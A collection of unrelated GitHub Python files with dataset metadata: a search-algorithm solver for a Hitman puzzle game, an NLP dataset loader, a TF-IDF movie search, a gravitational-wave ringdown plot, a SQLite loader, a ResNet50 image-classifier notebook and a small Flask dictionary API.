guard):\r\n\r\n        if guard == HC.GUARD_N:\r\n            offset = 0, 1\r\n        elif guard == HC.GUARD_E:\r\n            offset = 1, 0\r\n        elif guard == HC.GUARD_S:\r\n            offset = 0, -1\r\n        elif guard == HC.GUARD_W:\r\n            offset = -1, 0\r\n        return offset\r\n\r\n    def __get_guard_vision(self, guard_x, guard_y, dist=2):\r\n        guard = self.__get_world_content(guard_x, guard_y)\r\n        offset_x, offset_y = self.__get_guard_offset(guard)\r\n        pos = (guard_x, guard_y)\r\n        x, y = pos\r\n        vision = []\r\n        for _ in range(0, dist):\r\n            pos = x + offset_x, y + offset_y\r\n            x, y = pos\r\n            if x >= self.__n or y >= self.__m or x < 0 or y < 0:\r\n                break\r\n            vision.append((pos, self.__get_world_content(x, y)))\r\n            if vision[-1][1] != HC.EMPTY:\r\n                break\r\n        return vision\r\n\r\n    def __seen_by_guard_num(self) -> int:\r\n        count = 0\r\n        x, y = self.__pos\r\n        if self.__get_world_content(x, y) not in [\r\n            HC.CIVIL_N,\r\n            HC.CIVIL_E,\r\n            HC.CIVIL_S,\r\n            HC.CIVIL_W,\r\n        ]:\r\n            for guard in self.__guards.keys():\r\n                # Note : un garde ne peut pas voir au dela d'un objet,\r\n                # mais si Hitman est sur l'objet alors il voit Hitman\r\n                count += (\r\n                    1\r\n                    if len(\r\n                        [0 for ((l, c), _) in self.__guards[guard] if l == x and c == y]\r\n                    )\r\n                    > 0\r\n                    else 0\r\n                )\r\n        self.__is_in_guard_range = count > 0\r\n        return count\r\n\r\n    def __add_history(self, action):\r\n        if self.__phase == 1:\r\n            self.__phase1_history.append(action)\r\n        elif self.__phase == 2:\r\n            self.__phase2_history.append(action)\r\n        else:\r\n            raise ValueError(\"Err: invalid phase\")\r\n\r\n    def succ(self):\r\n        ActionMethods_list=['kill_target','neutralize_guard','neutralize_civil','take_suit','take_weapon','put_on_suit','turn_clockwise','turn_anti_clockwise','move']\r\n        list_of_next_states=[]\r\n        for method_name in ActionMethods_list:\r\n            next_state=copy.deepcopy(self)\r\n            method = getattr(next_state, method_name)\r\n            \r\n            test=method()\r\n            if test['status']==\"OK\":\r\n                list_of_next_states.append(next_state)\r\n        return list_of_next_states\r\n    def print_score(self):\r\n        return self.__phase2_penalties\r\n    def BFS(self):  #remove_head, insert_tail,\r\n        l=[self]\r\n        while l:\r\n            s,l=remove_head(l)\r\n            list_succ=s.succ()\r\n            for x in list_succ:\r\n                if x.end_phase2()[0]:\r\n                    print(\"Success !\")\r\n                    \r\n                    return x\r\n                insert_tail(x,l)\r\n        return None\r\n    def BFS_backtracking(self):\r\n        l=[self]\r\n        save=[self]\r\n        while l:\r\n            s,l=remove_head(l)\r\n            list_succ=s.succ()\r\n            for x in list_succ:\r\n                if not x.in_list_comparator_testing(save):\r\n                    save.append(x)\r\n                    if x.end_phase2()[0]:\r\n                        #print(\"Success ! \\n len de save : \",len(save))\r\n                        print(\"Success !\")\r\n                        return x,save\r\n                    insert_tail(x,l)\r\n        return None,save\r\n    def DFS_backtracking(self):\r\n        l=[self]\r\n        save=[self]\r\n        while l:\r\n            s,l=remove_tail(l)\r\n            list_succ=s.succ()\r\n            for x in list_succ:\r\n                if not x.in_list_comparator_testing(save):\r\n                    save.append(x)\r\n                    if x.end_phase2()[0]:\r\n                        #print(\"Success ! \\n len de save : \",len(save))\r\n                        print(\"Success !\")\r\n                        return x,save\r\n                    insert_tail(x,l)\r\n        return None,save\r\n\r\n    def get__phase2_penalties(self):\r\n        return self.__phase2_penalties\r\n\r\n    def glouton(self):\r\n        L=[(self,self.heuristic())]\r\n        save=[self]\r\n        while L:\r\n            L.sort(key=lambda x : x[1])\r\n            s,L=remove_head(L)\r\n            list_succ=s[0].succ()\r\n            for x in list_succ:\r\n                if not x.in_list_comparator_testing(save):\r\n                    save.append(x)\r\n                    if x.end_phase2()[0]:\r\n                        print(\"Success !\")\r\n                        return x,save\r\n                    insert_tail((x,x.heuristic()),L)\r\n        return None,save\r\n    def Astar(self):\r\n        L=[(self,self.heuristic())]\r\n        save=[self]\r\n        while L:\r\n            L.sort(key=lambda x : x[1])\r\n            s,L=remove_head(L)\r\n            list_succ=s[0].succ()\r\n            for x in list_succ:\r\n                if not x.in_list_comparator_testing(save):\r\n                    save.append(x)\r\n                    if x.end_phase2()[0]:\r\n                        print(\"Success !\")\r\n                        return x,save\r\n                    diff_penalties=x.current_penalties()-s[0].current_penalties()\r\n                    insert_tail((x,x.heuristic()+diff_penalties),L)\r\n        return None,save\r\n    def manhattan_distance(self):\r\n        if self.target_position()==None:\r\n            return abs(self.__pos[0])+abs(self.__pos[1])\r\n        return abs(self.__pos[0]-self.target_position()[0])+abs(self.__pos[1]-self.target_position()[1])\r\n    def heuristic(self):\r\n        Priority_inversed=0\r\n        if self.__is_target_down ==False:\r\n            target_distance=abs(self.__pos[0]-self.target_position()[0])+abs(self.__pos[1]-self.target_position()[1])\r\n            Priority_inversed+=target_distance\r\n        if self.__has_weapon==False:\r\n            weapon_distance=abs(self.__pos[0]-self.get_piano()[0])+abs(self.__pos[1]-self.get_piano()[1])\r\n            Priority_inversed+=weapon_distance\r\n        if self.__suit_on==False and self.get_suit() is not None:\r\n            suit_distance=abs(self.__pos[0]-self.get_suit()[0])+abs(self.__pos[1]-self.get_suit()[1])\r\n            Priority_inversed+=suit_distance\r\n        return Priority_inversed\r\n    def target_position(self):\r\n        for i_index,i in enumerate(self.__world):\r\n            for j_index,j in enumerate(i)   :\r\n                if j==HC.TARGET:\r\n                    R=(j_index,self.__m-i_index-1)\r\n                    return R\r\n        return None\r\n    def get_pos(self):\r\n        return self.__pos\r\n    def get_piano(self):\r\n        for i_index,i in enumerate(self.__world):\r\n            for j_index,j in enumerate(i)  :\r\n                if j==HC.PIANO_WIRE:\r\n                    R=(j_index,self.__m-i_index-1)\r\n                    return R\r\n        return None\r\n    def get_suit(self):\r\n        for i_index,i in enumerate(self.__world):\r\n            for j_index,j in enumerate(i)  :\r\n                if j==HC.SUIT:\r\n                    R=(j_index,self.__m-i_index-1)\r\n                    return R\r\n        return None\r\n    def object_comparator_personalized(self,other):\r\n        if   (self.__civil_count == other.__civil_count and self.__guard_count == other.__guard_count\r\n        and self.__civils == other.__civils \r\n        and self.__guards == other.__guards\r\n        and self.__pos == other.__pos\r\n        and self.__orientation == other.__orientation\r\n        and self.__is_in_guard_range == other.__is_in_guard_range\r\n        and self.__is_in_civil_range == other.__is_in_civil_range\r\n        and self.__has_suit == other.__has_suit\r\n        and self.__suit_on == other.__suit_on\r\n        and self.__has_weapon == other.__has_weapon\r\n        and self.__is_target_down == other.__is_target_down):\r\n            return True\r\n        else :\r\n            return False\r\n    def in_list_comparator_testing(self,List):\r\n        for i in List:\r\n            if self.object_comparator_personalized(i):\r\n                return True\r\n        return False\r\n    def get_status_phase_2(self):\r\n        return self.__get_status_phase_2()\r\n    def current_penalties(self):\r\n        return self.__phase2_penalties\r\n    \r\ndef insert_tail(s, l):\r\n    l.append(s)\r\n    return l\r\ndef remove_head(l):\r\n    return l.pop(0), l\r\ndef remove_tail(l):\r\n    return l.pop(), l\r\n\r\n\r\n#hitman=HitmanReferee(\"test.txt\")\r\n#list_algorithms=['Astar','BFS_backtracking','DFS_backtracking','glouton','BFS']\r\nlist_algorithms=['Astar','glouton']\r\nfor algo in list_algorithms:\r\n    hitman=HitmanReferee()\r\n    hitman.start_phase2()\r\n    start_time = time.time()\r\n    method = getattr(hitman, algo)\r\n    ending_object,saved=method()\r\n    if ending_object is None:\r\n        print(\"no solution\")\r\n    else :\r\n        R=ending_object.end_phase2()\r\n        print(\"algorithm used : \",algo,\" and \",R[1])\r\n        #print(\"\\nlist of actions : \",R[2])\r\n    end_time = time.time()\r\n    execution_time = end_time - start_time\r\n    print(f\"Execution time: {execution_time} seconds\")\r\n\r\n#ending_object,saved=hitman.Astar()\r\n#ending_object,saved=hitman.DFS_backtracking()\r\n#ending_object,saved=hitman.glouton()\r\n#ending_object,saved=hitman.BFS_backtracking()\r\n#ending_object,saved=hitman.BFS()\r\n\"\"\"\r\nif ending_object is None:\r\n    print(\"no solution\")\r\nelse :\r\n    R=ending_object.end_phase2()\r\n    print(R[1],\"\\nlist of actions : \",R[2])\r\n\r\nend_time = time.time()\r\nexecution_time = end_time - start_time\r\nprint(f\"Execution time: {execution_time} seconds\")\r\n\"\"\"", "repo_name": "adnane-errazine/Hitman_solver", "sub_path": "Hitman_solver.py", "file_name": "Hitman_solver.py", "file_ext": "py", "file_size_in_byte": 29543, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "70", "api": [{"api_name": "enum.Enum", "line_number": 8, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 77, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 78, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 104, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 104, "usage_type": "name"}, {"api_name": "itertools.product", "line_number": 119, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 131, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 127, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 127, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 127, "usage_type": "name"}, {"api_name": "itertools.product", "line_number": 153, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 504, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 504, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 504, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 576, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 576, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 576, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 655, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 796, "usage_type": "name"}, {"api_name": "time.time", "line_number": 820, "usage_type": "call"}, {"api_name": "time.time", "line_number": 829, "usage_type": "call"}]}
{"seq_id": "38309706786", "text": "import torch\nimport csv\nfrom torch.utils.data import Dataset\n\nfrom Constants import *\n\nclass SequenceDataset(Dataset):\n    def __init__(self, dataset_file_path, tokenizer, device):\n        # Read JSON file and assign to headlines variable (list of strings)\n        self.data_dict = []\n        self.device = device\n        self.lable_set = set()\n        file_data = []\n        for file in dataset_file_path:\n            with open(file) as csvfile:\n                csv_reader = csv.reader(csvfile)\n                file_header = next(csv_reader)\n                for row in csv_reader:\n                    file_data.append(row)\n                for row in file_data:\n                    #col-stat\n                    cat = row[-1]\n                    q_id = row[2]\n                    #print(row[0])\n                    q_text = q_text_dict[q_id]\n                    # print(refs)\n                    data_list = []\n                    ref_list = []\n                    if len(q_rubric_dict[q_id])>1:\n                        ref_list = q_rubric_dict[q_id]\n                    else:\n                        ref_list.append(q_rubric_dict[q_id][0])\n                        ref_list.append(q_rubric_dict[q_id][0])\n                    for t in ref_list:\n                        line = CLS_TOKEN + row[1] + SEP_TOKEN + t + SEP_TOKEN + q_text\n                        #line = CLS_TOKEN + q_text + SEP_TOKEN + t + SEP_TOKEN + row[1]\n                        #line = q_text + SEP_TOKEN + t + SEP_TOKEN + row[1] # test5\n                        #line = t + SEP_TOKEN + row[1] # test6\n                        #line = row[1] # test7\n                        data_list.append(line)\n                    # assert 0 == 1\n                    data = []\n                    self.lable_set.add(cat)\n                    data.append(cat)\n                    data.append(data_list)\n                    self.data_dict.append(data)\n        self.tokenizer = tokenizer\n        self.tag2id = self.set2id(self.lable_set)\n        #self.tag2id = {'0': 0, '1': 1, '2': 2, '3': 3}\n        print(self.tag2id)\n        print(self.get_category_distribution())\n\n    def __len__(self):\n        return len(self.data_dict)\n\n    def __getitem__(self, index):\n        DEVICE = self.device\n        label, lines = self.data_dict[index]\n        label = self.tag2id[label]\n        input_ids, attention_masks = [], []\n        #print(lines)\n        for line in lines:\n            #tokenized_data = self.tokenizer(line, padding=\"max_length\", truncation=True, return_tensors=\"pt\")\n            tokenized_data = self.tokenizer(line, padding=\"max_length\", truncation=True, max_length=hyperparameters['max_length'])\n            input_id = tokenized_data[\"input_ids\"]\n            attention_mask = tokenized_data[\"attention_mask\"]\n            input_ids.append(input_id)\n            attention_masks.append(attention_mask)\n        return {\n            \"input_ids\":  torch.tensor(input_ids, dtype=torch.long, device=self.device),\n            \"attention_mask\": torch.tensor(attention_masks, dtype=torch.long, device=self.device),\n            \"label\": label,\n        }\n\n\n    def set2id(self, item_set, pad=None, unk=None):\n        item2id = {}\n        if pad is not None:\n            item2id[pad] = 0\n        if unk is not None:\n            item2id[unk] = 1\n\n        for item in item_set:\n            item2id[item] = len(item2id)\n\n        return item2id\n    def get_category_distribution(self):\n        cat_count = {}\n        for data in self.data_dict:\n            cat = data[0]  # Assuming category is the first element in the list\n            #print(cat)\n            if cat not in cat_count:\n                cat_count[cat] = 0\n            cat_count[cat] += 1\n        #print(cat_count)\n        return cat_count\n", "repo_name": "psunlpgroup/ASAG", "sub_path": "DataModule.py", "file_name": "DataModule.py", "file_ext": "py", "file_size_in_byte": 3742, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "69", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 7, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 70, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 71, "usage_type": "attribute"}]}
{"seq_id": "70872291741", "text": "#!/home/tridimensional/u/dcc/octavo/rim/rim/bin/python3\nimport os\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nimport numpy as np\n\n\nclass File:\n    def __init__(self, filename: str, dir_dataset=\"datos/peliculas\"):\n        self.name = filename\n        self.load_full_text(dir_dataset)\n\n    def load_full_text(self, dir_data):\n        with open(f\"{dir_data}/{self.name}\", 'r') as f:\n            self.full_text = f.read()\n\n\nclass Dataset:\n    def __init__(self, dir_dataset: str):\n        self.dir_dataset = dir_dataset\n        self.data_dic = {}\n        # print(\"Loading files ...\")\n        self.load_dataset()\n        # print(\"Calculating descriptors ...\")\n        self.calculate_vectorizer()\n        self.calculate_descriptors()\n        self.calculate_distances()\n\n    def load_dataset(self):\n        files = os.listdir(self.dir_dataset)  # dir_dataset = \"datos/peliculas\"\n        self.data = list(map(lambda x: File(x, self.dir_dataset), files))\n        list(map(\n            lambda x: self.data_dic.update({x[1].name: x[0]}),\n            list(enumerate(self.data))\n            ))\n\n    def calculate_vectorizer(self):\n        self.vectorizer = TfidfVectorizer(\n                lowercase=True,  # por defecto es True\n                strip_accents='unicode',  # por defecto es None\n                sublinear_tf=True,  # por defecto es False. usar 1+log(freq)\n                use_idf=True,  # por defecto es True\n                norm='l2',  # por defecto es True\n                ngram_range=(1, 1),  # por defecto es (1,1). rango de ngramas\n                max_df=1.0,\n                min_df=1\n                # Si una palabra aparece en menos que min_df documentos,\n                # se ignora\n                )\n        self.vectorizer.fit(list(map(lambda x: x.full_text, self.data)))\n\n    def calculate_descriptors(self):\n        self.descriptors = self.vectorizer.transform(\n                list(map(lambda x: x.full_text, self.data))\n                )\n\n    def calculate_distances(self):\n        descriptors_dense = self.descriptors.toarray()\n        self.distances = np.matmul(descriptors_dense, descriptors_dense.T)\n        np.fill_diagonal(self.distances, 0)\n\n    def get_nns_i(self, i, n):\n        nns = list(enumerate(self.distances[i]))\n        nns.sort(reverse=True, key=lambda x: x[1])\n\n        print(f\"Los {n} vecinos más cercanos de {self.data[i].name} son:\")\n\n        for j in range(n):\n            nn_name = self.data[nns[j][0]].name\n            nn_distance = nns[j][1]\n            print(f\" {j+1} - {nn_name} {nn_distance}\")\n        print(\"\")\n\n    def get_nns_name(self, name, n):\n        try:\n            i = self.data_dic[f\"{name} subs.srt\"]\n        except KeyError:\n            return []\n\n        nns = list(enumerate(self.distances[i]))\n        nns.sort(reverse=True, key=lambda x: x[1])\n        nns = nns[0:n]\n        nns = list(map(lambda x: self.data[x[0]].name, nns))\n        return nns\n", "repo_name": "tridimensionaal/Buscador-peliculas-via-texto", "sub_path": "dataset.py", "file_name": "dataset.py", "file_ext": "py", "file_size_in_byte": 2925, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "os.listdir", "line_number": 29, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.fill_diagonal", "line_number": 59, "usage_type": "call"}]}
{"seq_id": "14461726946", "text": "\"\"\"\nShow how to create a time-domain signal.\n\"\"\"\n\nfrom matplotlib import pyplot as pl\nfrom pycbc.waveform import ringdown_td_approximants\n\n\nparams = dict(\n    lmns=\"221\",\n    tau_220=0.1,\n    f_220=1234.0,\n    amp220=1e-23,\n    phi220=0.3,\n    inclination=0.2,\n    polarization=1.1,\n    t_final=2.0,\n)\n\n# plot waveform\nhp, hc = ringdown_td_approximants[\"TdQNMfromFreqTau\"](\n    f_lower=20,\n    delta_t=1.0/4096,\n    **params,\n)\n\nfig, ax = pl.subplots(2, 1, figsize=(5, 9))\nax[0].plot(hp.sample_times, hp)\nax[0].set_xlabel(\"Time (s)\")\nax[0].set_ylabel(\"Amplitude\")\n\n# plot frequency domain\nhf = hp.to_frequencyseries()\nax[1].semilogx(hf.sample_frequencies, hf.real())\nax[1].set_xlabel('Frequency (Hz)')\n\nfig.tight_layout()\npl.show()\n", "repo_name": "mattpitkin/ringdown", "sub_path": "scripts/test_waveform.py", "file_name": "test_waveform.py", "file_ext": "py", "file_size_in_byte": 732, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pycbc.waveform.ringdown_td_approximants", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}]}
{"seq_id": "38289676914", "text": "import pandas as pd\nimport numpy as np\nimport sqlite3\n\ndf=pd.read_csv('Mall_Customers.csv')\n\ndef insert():\n    connection=sqlite3.connect('data.db')\n    cursor=connection.cursor()\n    insert_query=\"INSERT INTO user VALUES(?,?,?,?,?)\"\n    for i in range(0,200):                              # insert data row by row\n        cursor.execute(insert_query, (df.values[i,0],df.values[i,1],df.values[i,2],df.values[i,3],df.values[i,4]))\n        # df.values function converts data into numpy array and then stored\n    connection.commit()\n    connection.close()\n    print(\"Inserted succesfully\")\n# select() is used to show data from data base\ndef select():\n    connection=sqlite3.connect('data.db') ##connection to database\n    cursor=connection.cursor()             ## create cursor object\n    select_query=\"SELECT * FROM user\"\n    result=cursor.execute(select_query)     ## data store into result but in generator\n    result=list(result)                     ## convert Data into list\n    return  result                          ## return Result", "repo_name": "pawarsharad111/python-data-science", "sub_path": "DataFrame to SqlDB/DataframeToDB.py", "file_name": "DataframeToDB.py", "file_ext": "py", "file_size_in_byte": 1037, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "pandas.read_csv", "line_number": 5, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 8, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 19, "usage_type": "call"}]}
{"seq_id": "28580291455", "text": "# Databricks notebook source\n# MAGIC %md # This is the notebook that shows the steps taken to train a 3-class image classifier that :\n# MAGIC   - takes in book cover thumbnail image for the respective 3 classes (high-, mid- and low-sales) labels\n# MAGIC     - the 3 classes are split by 60th percentile and 90th percentile\n# MAGIC       - reference notebook: https://adb-5911062106551859.19.azuredatabricks.net/?o=5911062106551859#notebook/1777744143329555/command/1777744143329556\n# MAGIC         - relevant code: command 13 ~ 15\n\n# COMMAND ----------\n\nimport matplotlib.pyplot as plotter_lib\nimport numpy as np\nimport PIL as image_lib\nimport tensorflow as tflow\nfrom tensorflow.keras.layers import Flatten\nfrom keras.layers.core import Dense\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras.layers import Dropout\n\n# COMMAND ----------\n\n# MAGIC %md # define :\n# MAGIC   - image size\n# MAGIC   - path for the input images\n# MAGIC   - train test split proportion\n\n# COMMAND ----------\n\nimg_height,img_width=190,128\nbatch_size=32\ntrain_ds = tflow.keras.preprocessing.image_dataset_from_directory(\n  f\"/dbfs/team_j_downloaded_images/image_Class_Subset/\",\n  validation_split=0.2,\n  subset=\"training\",\n  seed=123,\n\nlabel_mode='categorical',\n  image_size=(img_height, img_width),\n  batch_size=batch_size)\n\n# COMMAND ----------\n\nvalidation_ds = tflow.keras.preprocessing.image_dataset_from_directory(\n  f\"/dbfs/team_j_downloaded_images/image_Class_Subset/\",\n  validation_split=0.2,\n  subset=\"validation\",\n  seed=123,\nlabel_mode='categorical',\n  image_size=(img_height, img_width),\n  batch_size=batch_size)\n\n# COMMAND ----------\n\n# MAGIC %md # define model layer and ResNet50 pretrained layer \n\n# COMMAND ----------\n\nresnet_model = Sequential()\n\npretrained_model_for_demo= tflow.keras.applications.ResNet50(include_top=False,\n\n                   input_shape=(190,128,3),\n\n                   pooling='avg',classes=3,\n\n                   weights='imagenet'\n                   #weights= None\n                   )\n\nfor each_layer in pretrained_model_for_demo.layers:\n        each_layer.trainable=False\n\nresnet_model.add(pretrained_model_for_demo)\nresnet_model.add(Flatten())\nresnet_model.add(Dense(512, activation='relu'))\n#resnet_model.add(Dense(256, activation='relu'))\n#resnet_model.add(Dense(128, activation='relu'))\nresnet_model.add(Dense(3, activation='softmax'))\n\n\n\n# COMMAND ----------\n\n# MAGIC %md # run model training with 10 epoch and 0.001 learning rate\n# MAGIC   - accuracy: 0.9236 ; val_accuracy: 0.5222 ==> overfitting is encountered\n\n# COMMAND ----------\n\nresnet_model.compile(optimizer=Adam(lr=0.001),loss='categorical_crossentropy',metrics=['accuracy'])\n\nhistory = resnet_model.fit(train_ds, validation_data=validation_ds, epochs=10)\n\n\n\n# COMMAND ----------\n\n# MAGIC %md # plot for accuracy and loss on training and validation dataset\n\n# COMMAND ----------\n\nplotter_lib.figure(figsize=(8, 8))\n\nepochs_range= range(10)\n\nplotter_lib.plot( epochs_range, history.history['accuracy'], label=\"Training Accuracy\")\n\nplotter_lib.plot(epochs_range, history.history['val_accuracy'], label=\"Validation Accuracy\")\n\nplotter_lib.axis(ymin=0.1,ymax=1)\n\nplotter_lib.grid()\n\nplotter_lib.title('Model Accuracy')\n\nplotter_lib.ylabel('Accuracy')\n\nplotter_lib.xlabel('Epochs')\n\nplotter_lib.legend(['train', 'validation'])\n\n# COMMAND ----------\n\nimport matplotlib.pyplot as plt\nplt.plot(history.history['loss'])\nplt.plot(history.history['val_loss'])\nplt.grid()\nplt.title('Model Loss')\nplt.ylabel('Loss')\nplt.xlabel('Epochs')\nplt.legend(['train', 'validation'])\nplt.show()\n\n# COMMAND ----------\n\ndemo_resnet_model.save('/dbfs/team_j/model_checkpoint_ivan_three_class_Subset_Trial.h5')", "repo_name": "LCJG-BetaLabs/ds-capstone-2023", "sub_path": "cuhk/j/finalised/5) 3_class_image_classifier_with_Resnet50_pretrained_layers_finalised.py", "file_name": "5) 3_class_image_classifier_with_Resnet50_pretrained_layers_finalised.py", "file_ext": "py", "file_size_in_byte": 3731, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "tensorflow.keras.preprocessing.image_dataset_from_directory", "line_number": 31, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 31, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.preprocessing.image_dataset_from_directory", "line_number": 43, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 43, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.models.Sequential", "line_number": 58, "usage_type": "call"}, {"api_name": "tensorflow.keras.applications.ResNet50", "line_number": 60, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 60, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Flatten", "line_number": 74, "usage_type": "call"}, {"api_name": "keras.layers.core.Dense", "line_number": 75, "usage_type": "call"}, {"api_name": "keras.layers.core.Dense", "line_number": 78, "usage_type": "call"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 115, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 115, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}]}
{"seq_id": "645252021", "text": "# -*- coding: utf-8 -*-\nfrom app import app\nfrom flask import request, jsonify\nfrom time import gmtime, strftime\n\ndict = {}\n\n@app.route('/')\n@app.route('/index')\ndef index():\n    return \"Server working\"\n\n@app.route('/dictionary', methods = ['GET', 'POST', 'DELETE', 'PUT'], defaults={'path': ''})\n@app.route('/dictionary/', methods = ['GET', 'DELETE', 'PUT'])\ndef dictionary(path):\n\t#no switch case operation in python?\n\tif request.method == 'GET':\n\t\tvalue = dict.get(path)\n\t\tif value:\n\t\t\tresponse = { 'result': value, 'time': strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())}\n\t\t\treturn jsonify(response)\n\t\telse:\n\t\t\tresponse = { 'result': value, 'time': strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())}\n\t\t\treturn '', 404\n\telif request.method == 'POST':\n\t\tjson = request.json #request.get_json() введен только в 0.10 и на версии 0.9 альтернативы .json нет\n\t\tkey = json.get(\"key\")\n\t\tvalue = json.get(\"value\")\n\t\tif dict.get(key):\n\t\t\treturn '', 409\n\t\telif (not key) or (not value):\n\t\t\treturn '', 400\n\t\telse:\n\t\t\tdict[key] = value\n\t\t\tresponse = { 'result': dict.get(key), 'time': strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())}\n\t\t\treturn jsonify(response)\n\telif request.method == 'DELETE':\n\t\tif dict.get(path):\n\t\t\tdict.pop(path)\n\t\tresponse = { 'result': dict.get(path), 'time': strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())}\n\t\treturn jsonify(response), 200\n\telif request.method == 'PUT':\n\t\tjson = request.json \n\t\tvalue = json.get(\"value\")\n\t\tif path == '':\t\t\t\t\t#В техзадании Route: /dictionary/, но при этом запрос \"аналогичен\n\t\t\tkey = json.get(\"key\") \t    #POST\", т.е. ключ в параметрах, использовал комбинированный подход\n\t\telse:\n\t\t\tkey = path\n\t\tif (not key) or (not value):\n\t\t\treturn '', 409\n\t\telif dict.get(key):\n\t\t\tdict[key] = value\n\t\t\tresponse = { 'result': dict.get(key), 'time': strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())}\n\t\t\treturn jsonify(response)\n\t\telse:\n\t\t\treturn '', 404\n\telse:\n\t\treturn \"Not implemented\", 501", "repo_name": "abondar/flaskTest", "sub_path": "app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2021, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", 